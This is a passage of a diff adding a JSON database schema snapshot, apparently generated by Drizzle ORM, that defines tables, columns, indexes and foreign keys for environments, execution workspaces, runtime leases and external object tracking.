+        "environment_leases_company_id_companies_id_fk": {
+          "name": "environment_leases_company_id_companies_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_environment_id_environments_id_fk": {
+          "name": "environment_leases_environment_id_environments_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_issue_id_issues_id_fk": {
+          "name": "environment_leases_issue_id_issues_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environments": {
+      "name": "environments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "driver": {
+          "name": "driver",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "env_vars": {
+          "name": "env_vars",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environments_status_idx": {
+          "name": "environments_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_local_driver_idx": {
+          "name": "environments_local_driver_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'local'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_managed_sandbox_idx": {
+          "name": "environments_managed_sandbox_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_name_idx": {
+          "name": "environments_name_idx",
+          "columns": [
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspace_runtime_leases": {
+      "name": "execution_workspace_runtime_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_key": {
+          "name": "owner_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_issue_id": {
+          "name": "owner_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_action": {
+          "name": "last_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "renewed_at": {
+          "name": "renewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspace_runtime_leases_company_workspace_idx": {
+          "name": "execution_workspace_runtime_leases_company_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_company_owner_idx": {
+          "name": "execution_workspace_runtime_leases_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_expires_at_idx": {
+          "name": "execution_workspace_runtime_leases_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspace_runtime_leases_company_id_companies_id_fk": {
+          "name": "execution_workspace_runtime_leases_company_id_companies_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "owner_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "execution_workspace_runtime_leases_execution_workspace_id_unique": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_unique",
+          "nullsNotDistinct": false,
+          "columns": [
+            "execution_workspace_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspaces": {
+      "name": "execution_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "strategy_type": {
+          "name": "strategy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_ref": {
+          "name": "base_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "branch_name": {
+          "name": "branch_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_fs'"
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_from_execution_workspace_id": {
+          "name": "derived_from_execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "opened_at": {
+          "name": "opened_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "closed_at": {
+          "name": "closed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_eligible_at": {
+          "name": "cleanup_eligible_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_reason": {
+          "name": "cleanup_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspaces_company_project_status_idx": {
+          "name": "execution_workspaces_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_project_workspace_status_idx": {
+          "name": "execution_workspaces_company_project_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_source_issue_idx": {
+          "name": "execution_workspaces_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_last_used_idx": {
+          "name": "execution_workspaces_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_branch_idx": {
+          "name": "execution_workspaces_company_branch_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "branch_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspaces_company_id_companies_id_fk": {
+          "name": "execution_workspaces_company_id_companies_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_id_projects_id_fk": {
+          "name": "execution_workspaces_project_id_projects_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_workspace_id_project_workspaces_id_fk": {
+          "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_source_issue_id_issues_id_fk": {
+          "name": "execution_workspaces_source_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "derived_from_execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_object_mentions": {
+      "name": "external_object_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "property_key": {
+          "name": "property_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text_redacted": {
+          "name": "matched_text_redacted",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "sanitized_display_url": {
+          "name": "sanitized_display_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity": {
+          "name": "canonical_identity",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_id": {
+          "name": "object_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "detector_key": {
+          "name": "detector_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "confidence": {
+          "name": "confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "created_by_plugin_id": {
+          "name": "created_by_plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_object_mentions_company_source_issue_idx": {
+          "name": "external_object_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_object_idx": {
+          "name": "external_object_mentions_company_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_provider_idx": {
+          "name": "external_object_mentions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_record_uq": {
+          "name": "external_object_mentions_company_source_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_null_record_uq": {
+          "name": "external_object_mentions_company_source_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_object_mentions_company_id_companies_id_fk": {
+          "name": "external_object_mentions_company_id_companies_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_source_issue_id_issues_id_fk": {
+          "name": "external_object_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_object_id_external_objects_id_fk": {
+          "name": "external_object_mentions_object_id_external_objects_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "external_objects",
+          "columnsFrom": [
+            "object_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_created_by_plugin_id_plugins_id_fk": {
+          "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "created_by_plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_objects": {
+      "name": "external_objects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sanitized_canonical_url": {
+          "name": "sanitized_canonical_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_key": {
+          "name": "display_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon_key": {
+          "name": "icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_title": {
+          "name": "display_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_key": {
+          "name": "status_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_label": {
+          "name": "status_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_icon_key": {
+          "name": "status_icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_category": {
+          "name": "status_category",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "status_tone": {
+          "name": "status_tone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'neutral'"
+        },
+        "liveness": {
+          "name": "liveness",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "is_terminal": {
+          "name": "is_terminal",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "remote_version": {
+          "name": "remote_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "etag": {
+          "name": "etag",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_changed_at": {
+          "name": "last_changed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_at": {
+          "name": "last_error_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_refresh_at": {
+          "name": "next_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_started_at": {
+          "name": "refresh_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_code": {
+          "name": "last_error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_message": {
+          "name": "last_error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_objects_company_provider_object_idx": {
+          "name": "external_objects_company_provider_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_provider_status_idx": {
+          "name": "external_objects_company_provider_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status_category",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
